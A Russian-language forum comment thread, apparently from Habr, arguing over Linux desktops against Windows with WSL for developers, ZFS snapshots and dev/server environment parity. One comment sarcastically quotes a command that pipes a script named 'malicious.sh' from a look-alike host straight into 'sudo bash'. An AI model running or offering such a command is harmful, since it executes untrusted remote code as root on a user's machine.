Вы о чем вообще люди? У меня ноут и стационар на Manjaro с KDE работают прекрасно. И жесты, и активные углы и вообще все что захочется тут есть. Ноут между прочем на новом Ryzen 4500u (ядро только 5.8 и более).
Да, я — бекендер, и командная строка c docker для меня — все, и у меня нет реальных задач, для которых мне необходим Windows. Поиграться — да, есть dualboot.
Про производительность отдельно хотелось сказать, был до этого ноут на Ryzen 3500u с 8гб оперативки, из которых 1 Гб отдавался на видеопамять. Ну и считайте, на винде (из коробки) свободных оставалось 3-4 Гб от силы, на линухе — более 6 Гб.
Во времена пандемии так вообще, подключение к корпоративной Cisco VPN доступно в кедах практически их коробки, и модуль подключения встроен в менеджер соединений. В винде же коллегам приходится устанавливать доп ПО, которое висит в трее. Ну и что плохого скажете вы? Да ничего, но что из этого выглядит более приятно для пользователя? Какое-то стороннее ПО в трее, или один пункт в выпадающем меню системного апплета?
Хотя чему я удивляюсь, автор говорит что
«С помощью танцев с бубном я завел некоторые жесты»
установить модуль Gestures и прописать в GUI (даже не в конфиге) сочетания клавиш которые срабатывают при жесте, это теперь называется ТАНЦЫ С БУБНОМ.
Вспоминается только вот эта картинка
Читаю комментарии в ветке из разряда «Linux — классный для сервера, но как десктоп — нет уж спасибо.»
Вы о чем вообще люди? У меня ноут и стационар на Manjaro с KDE работают прекрасно.
Никто не говорит что десктоп под Linux не работает вовсе.
Просто всё познается в сравнении — и если мы говорим об универсальном решении, то есть лучшие десктопы, чем Linux. Это — Windows и MacOS. Исключения: если вам нужно что-то радикально-маргинальное типа Awesome, тогда Linux имеет преимущество.
Навскидку — до сих пор нотубуки с Linux имеют заметно худшую автономность. Исключения — большая редкость.
А для кого-то автономность не преимущество. Ну ладно, чисто теоретическое преимущество, может раз в несколько лет будет удобно, что проработает 3 часа ноут, а не 50 минут.
Надо лишь чутка настроить TLP и все будет.
А для кого-то автономность не преимущество. Ну ладно, чисто теоретическое преимущество, может раз в несколько лет будет удобно, что проработает 3 часа ноут, а не 50 минут.
Там было написано «например, автономность»
Есть и другие проблемы — драйвера. Стало значительно лучше. Но все равно уступает работе с железом Windows. У MacOS по понятным причинам вообще проблем нет.
Из последнего моего опыта под Linux: ни 4G-модем ни Wi-Fi ни МФУ взвести не удалось. Все 3 — вполне себе массового производителя, не экзотика. Видео — взвелось заметно хуже, чем на Windows.
Понятно, что если «подобрать железо» и «покурить мануал», возможно, решилось бы. Хотя я и подбирал и курил, но наверное плохо подбирал и плохо курил.
Мой предыдущий honor magicbook 14 работал так же прекрасно практически весь рабочий день (8-10 часов) от аккума как и было заявлено на винде.
Надо лишь чутка настроить TLP и все будет.
То есть до сих пор в Linux такие вещи, что банальны на MacOS и Windows, не для рядового пользователя — только для тех, кто может/умеет/хочет ковыряться в нем?
Каждому свое, и не надо так радикально
есть лучшие десктопы, чем Linux. Это — Windows и MacOS
это ваше мнение.
По поводу автономности уже ответил выше в ветке.
Вам повезло что вы не используете cisco webex, эта унылая поделка сейчас не работает даже через wine, ну по крайней у нас на работе ни у кого не получилось пользоваться cisco webex в линуксах, в итоге люди подключаются с телефона к таким конфам
Но за защиту спасибо!!!
По началу казалось что надо только пересесть на Линукс и все сразу наладится. Нет дров? Не работают тачскрины, блютузы, сеть? Куча багов в поделиях типа Гнома 3? ОС зависает намертво при заполнении ОЗУ? Надо только подождать. Вот, подождали 2010-2020 и понемногу пришло понимание что Линукс (в обозримом будущем) не станет так же комфортен для большинства как Винда или МакОС. Строго имхо, конечно. Не потому что он плохой, а сама концепция свободного ПО не лишена минусов. Один из которых в том что бесплатному ПО крайне сложно быть настолько удобным как платному потому что нет заинтересованных лиц.
И великолепная система пакетов тоже насолила. На бумаге изящная и логичная система вылилась в Докеры, Снап и ко. Четко показавшая что пока не будет полностью изолированных контейнеров (не обязательно с виртуализацией) по типу как в мобильных ОС приложения сейчас, нормально это работать не будет (повторюсь, для большинства).
Это вообще не нормально что установкой или удалением пакета можно сломать всю систему.
Может такие ОС как nixos что-то поменяют в этом.
Да просто народ наигрался
Просто народу подвезли новую игрушку, и неосиляторы ломанулись неосиливать в более привычной им форме.
Потом так же еще куда-нибудь перебегут.
Просто народу подвезли новую игрушку, и неосиляторы ломанулись неосиливать в более привычной им форме.
Ну не все же любят в качестве хобби «собирать Генту»…
То есть вы всё же согласны с тем, что по простоте использования во многих аспектах Linux еще далеко до Windows/MacOS? (не во всех аспектах так, конечно, ибо уже много где хорошо в Linux)
Можно было бы, конечно, спросить про простоту снятия снепшотов системы и отката на них — и тем самым закрыть вопрос…
А вы можете формализовать критерии "простоты использования"?
Собственно, как сможете это сделать не для частного случая — так и ответ на вопрос найдется.
Можно было бы, конечно, спросить про простоту снятия снепшотов системы и отката на них — и тем самым закрыть вопрос…
Можно было бы конечно спросить — а зачем?
За последние 30 лет мне это реально понадобилось раза 2.
Ну если вы экспериментируете с каким то левым софтом устанавливаемым из гнусных источников — можно понять. И посоветовать виртуалку.
А возможно, для вашего конкретного случая подойдут Windows Container.
А вы можете формализовать критерии «простоты использования»?
Просто представьте на месте ИТ-шника «обычную домохозяйку». ИТшник, разумеется, может напрячься и решить проблему с Linux, где-то погуглив, накатав какой-то патч и пр. Но не все любят этим заниматься.
Можно было бы конечно спросить — а зачем?
А зачем устанавливать пожарную сигнализацию в доме или датчики подтопления под ванной?
За последние 30 лет мне это реально понадобилось раза 2
Этому они (датчики) вообще ни разу не пригодились.
И? Ошибка выжившего — это не аргумент, а когнитивное искажение.
Просто представьте на месте ИТ-шника «обычную домохозяйку». ИТшник, разумеется, может напрячься и решит проблему с Linux.
Тут вся ветка о том, что некоторые ИТ-шники как раз таки не шмогли. А теперь угадайте этимологию слова "неосилятор"…
Этому они (датчики) вообще ни разу не пригодились.
И?
Вы о чем?
Откаты обновлений, снэпшоты — все это встроено в Windows уже много лет как.
Ошибка выжившего — это не аргумент, а когнитивное искажение.
Эдак можно любую аргументацию свести к «это только у вас так, это у вас ошибка выжившего, а вот на самом-то деле...».
Просто представьте на месте ИТ-шника «обычную домохозяйку». ИТшник, разумеется, может напрячься и решит проблему с Linux.
Тут вся ветка о том, что некоторые ИТ-шники как раз таки не шмогли. А теперь угадайте этимологию слова «неосилятор»…
Я же вам специально упомянул про домохозяйку, которая априори не может.
А ИТшник, безусловно, ленится, если не разбирается в проблемах Linux.
Но это совершенно нормально. У него могут быть другие хобби, они могут быть связаны с ИТ или не связаны. Но любить «компилировать ядро» могут не все.
Откаты обновлений, снэпшоты — все это встроено в Windows уже много лет как.
Вы троллите или реально не понимаете, о чем речь?
CoW. Zfs, btrfs — как характерные представители.
Откат системы на предыдущее состояние, не с какой-то там вероятностью, а в точности на сохраненное состояние, занимает секунды даже на бучном диске с SMR.
Никаких полных копий, только блочный diff уровня ФС.
Сравнивать тот мрак и ужас, который творит винда с этим…
Эдак можно любую аргументацию свести к «это только у вас так, это у вас ошибка выжившего, а вот на самом-то деле...»
Исключительно безосновательную. Для того оно и нужно, чтобы отделить нарандомленные случайности от реального воспроизводимого и полезного эффекта.
Вы троллите или реально не понимаете, о чем речь?
CoW. Zfs, btrfs — как характерные представители.
Откат системы на предыдущее состояние, не с какой-то там вероятностью, а в точности на сохраненное состояние, занимает секунды даже на бучном диске с SMR.
Никаких полных копий, только блочный diff уровня ФС.
Всегда можно
Из практики — даже когда я сидел на десктопной FreeBSD, где этот ваш ZFS появился куда как раньше, чем в Linux, причем, сразу встроенным в ядро, благо лицензии у FreeBSD и ZFS совместимы (ну вы же в курсе из-за чего ZFS в Linux идет как отдельный продукт? ) — откатывать ФС по снэпшотам не понадобилось никогда. Даже несмотря на то, что я тогда много и глубоко экспериментировал с установкой/настройкой софта, в те времена на десктопах это было жизненно необходимо.
На серверах возможностей отката ZFS так же никогда не пригодились:
части файловой системы production-сервера, где размещены ядро, утилиты, прикладной софт и конфигурация ОС — не изменяются так чтоб часто и наобум. К этому подходят взвешено.
к частям файловой системы, где хранятся данные эти откаты снэпшотов файловой системы предпринимать нельзя, ибо данные это самое ценное, это то, ради чего и существует вся система (да и весь ИТ вообще). Тут нужно пытаться обходиться бэкапами с точечным восстановлением нужного.
Ситуация когда нужен полный бэкап — связана с разрушением диска и/или всей файловой системы и на этот случай снэпшот бесполезен.
Из самого полезного использования ZFS — это когда с ней научился работать Docker. Это действительно оправданное использование снэпшотов.
Я не буду спорить об бесполезности использования ZFS на десктопах, когда вы балуетесь с конфигурацией. Наличие откатов это безусловно плюс.
Но променять эту единственную фичу на намного более удобную систему и — важно — экономящую моё время на её настройке, при том, что эта фича не пригодилась не разу?
Проще будет в случае краха ОС её с нуля переставить. Список используемого ПО известен. Это занимает меньше двух часов вместе со всем прикладным ПО. И необходимость в этом бывает раз в лет 5-7 просто для профилактики, что с Linux, что с Windows.
Причем и для этой ситуации важно разделить на отдельные разделы (диски) собственно ОС и ваши данные. И тогда операция по переустановке ОС становится простой и безболезненной. Но ведь и при использовании откатов с ZFS вам нужно сделать ровно то же самое, так как откатить свежие результаты работ вместе с операционной системой будет не здорово.
Вы, мсье, очень давно не брали в руки шашек.
придумать пример для которого в другой системе нет аналогов
В маках, кстати, есть.
к частям файловой системы, где хранятся данные эти откаты снэпшотов файловой системы предпринимать нельзя, ибо данные это самое ценное
Если у вас есть прод, то наверняка кроме прода есть еще staging, на котором прибивать данные можно и нужно, например.
Ситуация когда нужен полный бэкап — связана с разрушением диска и/или всей файловой системы и на этот случай снэпшот бесполезен
Это если вы не делаете верифицируемые бекапы.
zfs snap + zfs send | zfs recv позволяют быть уверенным в том, что в бекап попал не мусор.
Из самого полезного использования ZFS — это когда с ней научился работать Docker
Докер — не единственная система контейнеризации, умеющая zfs и снепшоты. И уж точно не первая.
Проще будет в случае краха ОС её с нуля переставить
Не проще, потому что…
Это занимает меньше двух часов вместе со всем прикладным ПО
вместо секунд.
Причем и для этой ситуации важно разделить на отдельные разделы (диски) собственно ОС и ваши данные
Но ведь и при использовании откатов с ZFS вам нужно сделать ровно то же самое
К счастью, нет — zfs позволяет забыть про partitioning и танцы с многослойными костылями вокруг него.
А еще инкрементальные бэкапы, которые стартуют сразу без вычитки дерева.
А еще хранение и проверка шифрованых бэкапов в недоверенных хранилищах, вроде облака.
Сжатие и блочные устройства.
Вы можете добавить к своему 100ТБ пулу один из тех супербыстрых интеловских ssd в качестве L2ARC — и получить ускорение на всем пуле. Или даже нескольких.
По сравнению с последним, возня с отдельными жесткими дисками…
А самое смешное, если винда займет свое законное место, она тоже сможет воспользоваться всеми этими плюшками =)
Если у вас есть прод, то наверняка кроме прода есть еще staging, на котором прибивать данные можно и нужно, например.
То есть все же сервера? Не десктоп?
Все значимые примеры вы привели именно для серверов.
На серверах Windows давно уже не актуальна (да и не была особо актуальная она на серверах никогда).
Если у вас есть прод, то наверняка кроме прода есть еще staging, на котором прибивать данные можно и нужно, например.
Проще будет в случае краха ОС её с нуля переставить
Не проще, потому что…
Это занимает меньше двух часов вместе со всем прикладным ПО
вместо секунд.
Рядовой полный бэкап системы делает то же самое.
Мой пример был о том, что даже и без него можно, слишком редко случается крах системы.
А вот без бэкапа данных — нельзя, это да.
Ваш кейс хорошо подходит для случаев, когда вы глубоко экспериментируете с системой, тогда быстрый откат назад удобен.
То есть все же сервера? Не десктоп?
Вы же сами переключились на сервера, абзацем выше того места, откуда была взята цитата.
Этот применяет zfs и на серверах и на десктопе.
Например, Skyrim (да и вообще любая интересная игра, вокруг которой выросло сообщество с большим количеством доступных модов): снепшоты, клоны и откаты сильно помогают в экспериментировании с ним.
Рядовой полный бэкап системы делает то же самое
Пофайловый бкеап в целом медленнее снимается и разворачивается, чем блочный, и требует fs-freeze для консистентности. Хотя с последним снепшоты помогут и ему.
Но пофайлово вы не можете снять и передать replication stream, отражающий фактические измения в файлах за все время существования системы (включающий в себя все снепшоты и дочерние ФС)
А вот без бэкапа данных — нельзя, это да
Для данных на мелких файлах зачастую пара snap -i | send отрабатывает раньше, чем rsync успевает построить дерево изменений. Потому что ФС уже знает, что у нее поменялось от сих до сих.
слишком редко случается крах системы
А у вас точно заготовлен и сохранен список установленных программ, вместе с их настройками, и эта вся радость актуализируется по расписанию и проверяется, что список вообще рабочий? ;)
Иначе фигуральные 2 часа легко превратятся в неделю.
Пофайловый бкеап в целом медленнее снимается и разворачивается, чем блочный, и требует fs-freeze для консистентности.
Windows Volume Shadow Copy?
Скорость изготовления бэкапа тут важна для production server, да и то только для данных, а не для операционной системы, которая априори меняется не так чтобы часто.
Вы же сами переключились на сервера, абзацем выше того места, откуда была взята цитата.
Потому что только для него снэпшоты реальную пользу несут.
Например, Skyrim (да и вообще любая интересная игра, вокруг которой выросло сообщество с большим количеством доступных модов): снепшоты, клоны и откаты сильно помогают в экспериментировании с ним.
Я это уже говорил — снэпшоты оправданы если вы любите экспериментировать с инсталляциями софта. Но это не так чтобы частый кейс и не так чтоб единственно возможный способ. Ведь простое копирование файлов позволяет то же самое по сути.
Для данных на мелких файлах зачастую пара snap -i | send отрабатывает раньше, чем rsync успевает построить дерево изменений. Потому что ФС уже знает, что у нее поменялось от сих до сих.
Акронис прекрасно делает это в фоне.
А если вспомнить, что речь всё же идет о десктопе, а не о сервере, минутный простой которого стоит миллион долларов, то понимаешь, что не всё так плохо…
А у вас точно заготовлен и сохранен список установленных программ, вместе с их настройками, и эта вся радость актуализируется по расписанию и проверяется, что список вообще рабочий? ;)
Иначе фигуральные 2 часа легко превратятся в неделю.
Это не фигуральные два часа, а самые реальные.
Список софта — да, известен.
Основная конфигурационная часть — лежит в каталоге с данными, а не в ОС (например, файлы конфигурации проекта продуктов JetBrains, вся конфигурация JetBrains заключается в установке 2-3 плагинов).
Бэкап настроек софта — это бэкап пользовательского каталога и бэкап registry. Делается крайне быстро. Автоматизируется. Но, строго говоря, даже и не нужен был никогда.
Да и вообще время от времени полезно переставлять систему с нуля. Раз в пять-семь лет.
Windows Volume Shadow Copy?
Оно доступно только на серверах же, нет?
Ну, на резрыбье, конечно, и раки хороши…
Ну и файловый дифф vs блочный — сильно зависит от области применения. В подавляющем большинстве случаев первый просто в разы медленнее.
Потому что только для него снэпшоты реальную пользу несут.
А вот и selection bias подвезли.
Я это уже говорил — снэпшоты оправданы если вы любите экспериментировать с инсталляциями софта.
И взаимоисключающие параграфы. Какая прелесть!
Ну или гонять скурим и облу с модами — это задача серверная теперь. )))
Но это не так чтобы частый кейс и не так чтоб единственно возможный способ
Это быстрый способ. Очень.
Ведь простое копирование файлов позволяет то же самое по сути
По сути, wine отлично заменяет винду ;)
Акронис прекрасно делает это в фоне
Он уже научился делать блочные дифференциальные бэкапы? Раньше он мог или полный блочный или дифференциальный/инкрементальный файловый.
Если нет — то вы сравниваете слабо сравнимые вещи.
Хотя, для конечного пользователя это решение неплохое, если распечатать на А0 в картинках, то справится даже домохозяйка… возможно.
Это не фигуральные два часа, а самые реальные.
Оценку программиста надо умножать в разы. Пара часов даже на ssd уйдет только на установку, подтягивание дров и обновлений, и несколько перезагрузок.
Основная конфигурационная часть — лежит в каталоге с данными
В случае винды это все лежит в AppData профиля же. И часть — в \ProgramData.
вся конфигурация JetBrains заключается в установке 2-3 плагинов
Это если принять за аксиому, что кроме винды и JetBrains на компе больше вообще ничего нет.
Обычно это не так.
Бэкап настроек софта — это бэкап пользовательского каталога
Который в тривиальном случае имеет тенденцию содержать десятки и сотни тысяч мелких файлов (привет браузерным кешам и CEF) и неприлично разрастаться.
Собственно, на этом можно было бы закончить и согласиться, что если устроить предельно вырожденный случай и хорошенько его подпереть, то будет rock-solid.
Но, во-первых, это справедливо относительно любой системы.
А во-вторых, весь этот ансамбль редукции и подпорок полетит каком кверху, как только вы захотите натянуть на этот глобус условную домохозяйку…
Что-то вы попутали желания с возможностями.
Без цитаты или, хотя бы, указания на абзац, сложно сориентироваться, к чему именно относится ваше высказывание.
Так все ваши высказывания о том что кто-то чего-то не смог или не осилил, а пост про то что человек для себя нашел более удобное решение, и у него пропала необходимость пользоваться неудобным.
Ммм… Так это прямое следствие.
Те, кому нужно было от линукса только что-то специфичное, запускали его в виртуалке до того, как это придумали майки.
Те, кто использовал линукс как хост и не подумали никуда уходить — они давно его изучили, снова приучатся к винде не с руки.
Остались те, кто при потребностях первых замахнулся на второе, но не осилил собственный замах — и вот они-то и метнулись обратно.
Самая мякотка в том, что им все равно придется делать то, чего они не осилили — просто где-то меньше (жесты и раскладки и блуждание по настройкам третьегнома, чаще всего вызывающие баттхёрт, наверняка не понадобятся), а где-то больше — потому что в этой специфичной связке будут свои проблемы, у которых еще нет решения, и в которые им придется вляпаться с разгону и в одиночестве. Ведь сообщества еще нет, WSL2 только вышел, и удивительное будет всплывать еще пару лет минимум.
Ну, правда, в любой безвыходной ситуации выход неосиляторы найдут традиционный — линукс виноват )))
А уж какое там будет подведено под это оправдание… не играет совершенно никакой роли.
Тогда вам остается только тешить себя надеждами, что у кого-то случатся проблемы, которые не получится решит, и вы в конечном счете окажетесь правы. Хотя я практически уверен, что на одного такого, найдется сотни других, которых все будет устраивать.
Дело, конечно, ваше, по каким причинам, как и кого называть, но как по мне, вы каких-то очевидных вещей не замечаете. А именно, то что MS предоставили для некоторых (не для всех) разработчиков среду, удовлетворяющую их потребности наиболее простым, из доступных, способом. Если для вас выбор простого пути, является признаком слабости и неспособности пройти сложным, то это уже какие-то личные установки, не имеющие отношения к реальности.
Не-а.
Windows + WSL — это гетерогенная среда.
Любая гетерогенная среда требует глубокого знания всех составляющих и особенностей среды.
Если кто-то не осилил один компонент гетерогенной среды в чистом виде, то сайдэффекты среды ему не покорятся и подавно.
И тут есть два варианта: или, таки, скилл прокачается и голый линукс перестает быть таким пугающим, что приведет к повторной миграции, либо вечное "я что-то нажала, и все исчезло!"
Ну знаете, совершенно же не обязательно глубоко разбираться в электромагнитных процессах в полупроводниках, схемотехнике или яп низкого уровня, чтобы писать качественный код для абстрактных систем. Есть какой-то критерий ограничивающий глубину знания всех особенностей среды?
Лично меня линукс уже давно не пугает. Многие годы пользовался исключительном им. В универе помню, что как-то даже лабы по комп. графике, которые необходимо было сделать с использованием directx, я компилировал через wine, что в целом было еще достаточно безобидным извращением, ради того чтобы не заводить винду. А нынешний переход, связан с тем, что, совершенно неожиданно, интерфейс десятки мне пришелся по вкусу, а wsl смог обеспечить весь необходимый набор инструментов для комфортной работы. Приятным бонусом тут являлось, то что в ноуте работает все так, как задумывалось производителем, и нужны были лишь минимальные затраты по настройке системы под себя, хоть и не без костылей в виде AutoHotkey и прочего. Но это несоизмеримо меньше того, что пришлось бы сделать, чтобы настроить линукс под себя и свои привычки. И я действительно не понимаю, почему вы рассуждаете только в категориях каких-то крайностей.
Нет, конечно, с копипастой в терминал строчки вида wget -O - https://gitlap.con/~/malicious.sh | sudo bash справится даже обезьянка, выравнивающая строки пробелами.
И когда волшебная строчка сломается, ее заботливо починят яйцеголовые линуксоиды.
А вот когда пойдут вопросы тоньше, например, почему при нагрузочном тестировании не переваривается не то что миллион коннектов, а даже тысяча, и надо будет разобраться, проблема ли в сетевом стеке виртуалки, используемых библиотеках, архитектуре приложения или вовсе в vSwitch, который теперь контролируется антивирусом Кошмарского…
И я действительно не понимаю, почему вы рассуждаете только в категориях каких-то крайностей
Начнем с того, что в противопоставлении Lin/Win вариантов изначально не слишком много.
Ровно два.
Поэтому, все, что не коррелирует с вашим мнением очень легко, просто и естественно записать в крайности.
А отвечал каджит изначально вообще вот на это: https://habr.com/ru/post/529908/#comment_22358324
Windows + WSL — это гетерогенная среда.
Любая гетерогенная среда требует глубокого знания всех составляющих и особенностей среды.
Чисто гетерогенная — это просто Linux внутри виртуалки.
Когда всю интеграцию ты делаешь сам.
WSL — это как раз результат усилий предпринимаемых, чтобы гетерогенность мешала поменьше.
Строго говоря, разработка под сервер на Linux, при том что у вас GUI — тоже гомогенна только формально. Разницы там много.
Из-за чего ситуация когда разработчик говорит: «а у меня на компьютере под Linux всё работает, не знаю что там у вас на сервере, ведь там тоже Linux» — встречается довольно часто.
Ха, а мне наоборот нужен Avaya/Nortel VPN Client, и форк nortel vpnc частично выручает, но последние версии железок vpn шлюзов, с некоторыми видами шифрования и т.п. просто не умеет. И только виртуалка с Windows...
Про производительность отдельно хотелось сказать, был до этого ноут на Ryzen 3500u с 8гб оперативки, из которых 1 Гб отдавался на видеопамять. Ну и считайте, на винде (из коробки) свободных оставалось 3-4 Гб от силы, на линухе — более 6 Гб.
Если вспомнить о том, что Windows может динамически отбирать память GPU, интегрированного в CPU, и динамически же забирать у файлового кэша — то станет понятно, что на цифры, отображаемые утилитами на момент времени полагаться нельзя.
Можно полагаться только на реальные ресурсоёмкие тесты.
Вы как именно тестировали? Делали нагружающее тестирование?
Или просто посмотрели утилитами цифры «свободная память столько-то»?
Почему бы сразу не выбрать железо и ОСь под свои задачи? Очевидно же, что ОСь лучше выбирать близкой к той, что стоит на серверах, где крутятся разрабатываемы сайты. Например, если на хостингах вы используете дебиан, то и логично на своем рабочем месте использовать дебиан/юбунту/минт…
Нужна винда для бухгалтерии? Используйте отдельный комп или виртуальную машину.
Нужны игрушки? Купите себе/детям игровую консоль и не смешивайте игры с работой.
После выделения задач и ОСей внимательно выбирайте железо под эти задачи и оси.
Всё просто же!
Очевидно же, что ОСь лучше выбирать близкой к той, что стоит на серверах, где крутятся разрабатываемы сайты.
Зависит от критериев лучшести. Для кого-то личное удобство, например отсутствие необходимости "патчить KDE под BSD" может оказаться более важным чем совместимость с серверной BSD. Я вот вообще на сервера тащу свой любимый дистр, который на декстопе уже лет 15 использую.
ППКС
Любому делу — нужен подходящий инструмент.
Вот когда приходится совмещать — распыляется внимание, снижается эффективность и рождаются прохладные истории о скрещивании ужа с ежом.
Почему бы сразу не выбрать железо и ОСь под свои задачи? Очевидно же, что ОСь лучше выбирать близкой к той, что стоит на серверах, где крутятся разрабатываемы сайты. Например, если на хостингах вы используете дебиан, то и логично на своем рабочем месте использовать дебиан/юбунту/минт…
Ага.
И разработчикам приложений для телефонов — на них разрабатывать.
И разработчиком ПО для микроконтроллеров — сразу в холодильниках программировать, где этои микроконтроллеры будут использоваться.
Целевая ОС и ОС разработки не обязаны быть одинаковыми.
Требования к ОС исполнения и к ОС разработки — сильно разные.
Выбор ОС с лучшим GUI для запуска IDE, которой нужно именно GUI — является логичным выбором.
Серверной же программе, которую вы разрабатываете, GUI не нужен и требования к ОС сильно другие.
Очевидно же, что ОСь лучше выбирать близкой к той, что стоит на серверах, где крутятся разрабатываемы сайты.
Это было очевидно в те времена, когда виртуализация была очень накладной по железу, а контейнеризация неудобной по запуску.
Когда вы используете свою ОС так, как вы бы использовали сервер — то есть непосредственно устанавливая на неё всё ПО — вы имеете довольно высокие шансы нарваться на «а у меня всё работает, не знаю почему на сервере не работает» и за разницы в версиях используемых пакетов, из-за установленной/не установленной какой-то библиотеки/вспомогательной утилиты у вас локально/на сервере.
- То есть вам всё равно нужно или изолировать среду исполнения (что легко достигается с WSL).
- Или тщательно следить за устанавливаемым ПО, необходимым для работы вашей системы на сервере (если у вас зависимость от MySQL, то не суть важно запускается MySQL из под Windows или из под Linux; важно другое, важно чтобы вы знали что вам нужен именно MySQL такой то версии)
А вот если вы разрабатываете под десктоп Linux — то логично чтобы среда разработки и среда исполнения совпадали. Хотя тоже вопрос — отдельно проверять а как там будет на дистрибутивах с другими системами пакетов, с другими DE, в дистрибутива с Qt/Gtk, другими поколениями ядер ОС и пр. и пр.
То есть вам всё равно нужно или изолировать среду исполнения (что легко достигается с WSL).
Разве легко? Я в своё время столкнулся с теми же проблемами, что и с использованием основной ОС в качестве дев-сервера, с конфликтами пакетов и т. п. В результате WSL использовал чисто для CLI приложений, поднимая VB виртуалки как серверы
Разве легко? Я в своё время столкнулся с теми же проблемами, что и с использованием основной ОС в качестве дев-сервера, с конфликтами пакетов и т. п.
На сервере же вы как-то конфликты пакетов разрулили? Вот точно так же это делается и в dev-окружении.
WSL позволяет сделать несколько своих экземпляров.
Можно сделать отдельный экземпляр WSL со средой окружения максимально близкой к серверной, то есть совершенно изолированный по набору пакетов. Но это легко возможно только если приложение следует хотя бы частично 12-ти факторам, так как 12 факторов предполагают, что приложение может не так уж свободно с операционной системой взаимодействовать.
Разумеется, если ваша серверная разработка требует доступа к системе на уровне systemd и пр. — то какой-нибудь vagrant или чистая виртуальная машина будет лучшим выбором.
Но конкретно с несовместимостью пакетов при использовании отдельного экземпляра WSL проблем быть не должно (если только сами пакеты вообще совместимы с той версией ОС, что установлена в WSL).
На сервере же вы как-то конфликты пакетов разрулили? Вот точно так же это делается и в dev-окружении.
Я к тому, что это не легко ) Вернее легко это делается через docker или подобные технологии, которые в WSL не работают
Если что, я исключительно про WSL1
Я к тому, что это не легко ) Вернее легко это делается через docker или подобные технологии, которые в WSL не работают
Если что, я исключительно про WSL1
Докер всего-навсего изолирует среду исполнения.
Если вы создадите отдельный экземпляр WSL под отдельное разрабатываемое вами приложение — то среда исполнения у вас будет вполне себе изолированная, подобно как в Докере изолированная.
Ага.
И разработчикам приложений для телефонов — на них разрабатывать.
И разработчиком ПО для микроконтроллеров — сразу в холодильниках программировать, где этои микроконтроллеры будут использоваться.
Ну зачем доводить всё до абсурда, а потом опровергать это? Речь в сабжевой статье идет о веб-разработке и контейнерах под это дело. Нативной средой для этого являются никсы. Всё остальное — костыли.
Как минимум, нужно различать ОС разработки и целевую ОС. К ним разные требования, многие вон вообще локально свои веб-приложения не запускают, только на каком-то дев-сервере. На одном из проектов я сам был близок к такому, когда комп ощутимо тормозил с 3-4 открытых IDE, браузером сотней вкладок и k8s кластером с полусотней серисов, включая под десяток SQL СУБД.
Как минимум, нужно различать ОС разработки и целевую ОС. К ним разные требования
Во многих случаях требования совместимы в рамках одной ОСи. И сабжевый случай (веб-разработка) под эти требования хорошо подпадает.
На одном из проектов я сам был близок к такому, когда комп ощутимо тормозил с 3-4 открытых IDE, браузером сотней вкладок и k8s кластером с полусотней серисов, включая под десяток SQL СУБД.
У меня подобная ситуация. В итоге собрал себе комп на многоядерном тредриппере, 128Гб оперативы и кучей nvme дисков. Но еще лучше выглядел бы вариант с выделением мощного сервера в отдельную машину. Хотя отчасти я это тоже сделал — жене собрал не менее мощную машинку со 128Гб оперативы на борту.
В любом случае, вижу, вы не спорите, что под каждый круг задач целесообразно выделять свои программные и аппаратные ресурсы. А совмещать всё в одном — плохая затея. Я например могу банковский и бухсофт установить на свой основной комп с линуксом (крипто-драйвера и пр. под линукс имеются), но сознательно не делаю этого — всё это работает на отдельной машине.
Во многих случаях требования совместимы в рамках одной ОСи. И сабжевый случай (веб-разработка) под эти требования хорошо подпадает.
Ну, если совместимы или согласны на компромиссы, то можно. Но не обязательно, именно требования такого в общем случае нет. Я вот совместимыми не считаю даже ubuntu 16.04 на сервере и 20.10 локально.
В любом случае, вижу, вы не спорите, что под каждый круг задач целесообразно выделять свои программные и аппаратные ресурсы. А совмещать всё в одном — плохая затея.
Наполовину не спорю :) Например, кроме программных и аппаратных ресурсов есть ещё и финансовые. На такие компы как у вас с женой меня бы жаба задушила деньги тратить для себя. Для жены — нет :)
В общем есть некоторое пространство решений, есть те или иные ограничения, есть приоритеты и готовность на компромиссы. Идеального решения для всех скорее всего никогда не будет, если критерий идеальности не единственный. У меня вот, например, основной комп — игровой ноутбук 17". Причём мне даром были не нужны игровое видео и аккумулятор.
Во многих случаях требования совместимы в рамках одной ОСи. И сабжевый случай (веб-разработка) под эти требования хорошо подпадает.
Попадает. Иногда попадает. Во многих случаях даже можно забить на то, попадает или нет…
Но изолировать среду разработки и среду исполнения — это хорошая практика.
Не делать этого — это или лень или низкая квалификация или желание/возможность разбираться с дальнейшими несостыковками в работе ПО или полная обоснованная уверенность, что, всё же гарантировано среды идентичны.
Живой действительный пример из жизни:
У меня есть один хороший знакомый, и он даже довольно-таки квалифицированный веб-разработчик.
И вот когда он делает для меня софт, а я ставлю его на свои сервера — ситуация «а у меня все работает» я слышу от него всё чаще и чаще.
Дело в том, что в свежих версиях Linux на серверах уже выпилены старые версии PHP. И их даже при желании из пакетов штатно поставить невозможно.
А этот, без сомнения квалифицированный программист, рассуждает так же как и вы:
«У меня Linux, на серверах Linux. Проблемы быть не должно»
(хотя я ему уже не первый год талдычу что у него очень древний дистрибутив и каждый раз озвучиваю какие версии пакетов стоят у меня на серверах).
Ситуация когда приходится отдельно разбираться отчего ПО не работает в другой среде — не такая уж и редкость.
К счастью, по большей частью, на эти разборки уходит небольшое количество времени — но данный факт не должен создавать иллюзию, что проблемы нет вовсе.
Ибо иногда она возникает в полный рост. И как назло — на пустом месте, в уже отлаженном ПО и разрешается не так чтобы совсем быстро.
Дело в том, что в свежих версиях Linux на серверах уже выпилены старые версии PHP. И их даже при желании из пакетов штатно поставить невозможно.
Проблема то в чем? Проблема в том, что ваш программист не провел тестирование в копии окружения клиента. Как минимум. А создавать копию серверного окружения (в докерах, в виртуалках и пр) всё же лучше в близкой среде. Сами докеры априори будут работать лучше в нативной среде. Да и за пределами докеров есть много чего, что требует совместимости — например права доступа к файлам проекта, структура файлов и пр.
Проблема то в чем? Проблема в том, что ваш программист не провел тестирование в копии окружения клиента. Как минимум. А создавать копию серверного окружения (в докерах, в виртуалках и пр) всё же лучше в близкой среде. Сами докеры априори будут работать лучше в нативной среде. Да и за пределами докеров есть много чего, что требует совместимости — например права доступа к файлам проекта, структура файлов и пр.
Чем лучше?
Docker прекрасно работает в WSL. Там же виртуалка. Полная эмуляция. Не компромиссная.
Строго говоря, для этой задачи и Docker даже избыточен.
Но, кстати, у того человека именно Linux. На сервере Linux.
Проблема не в софте. А в головах.
Об этом и речь: даже если вы используете Linux, но игнорируете вопросы совместимости сервера и вашего десктопа, то я с WSL сделаю даже лучше.
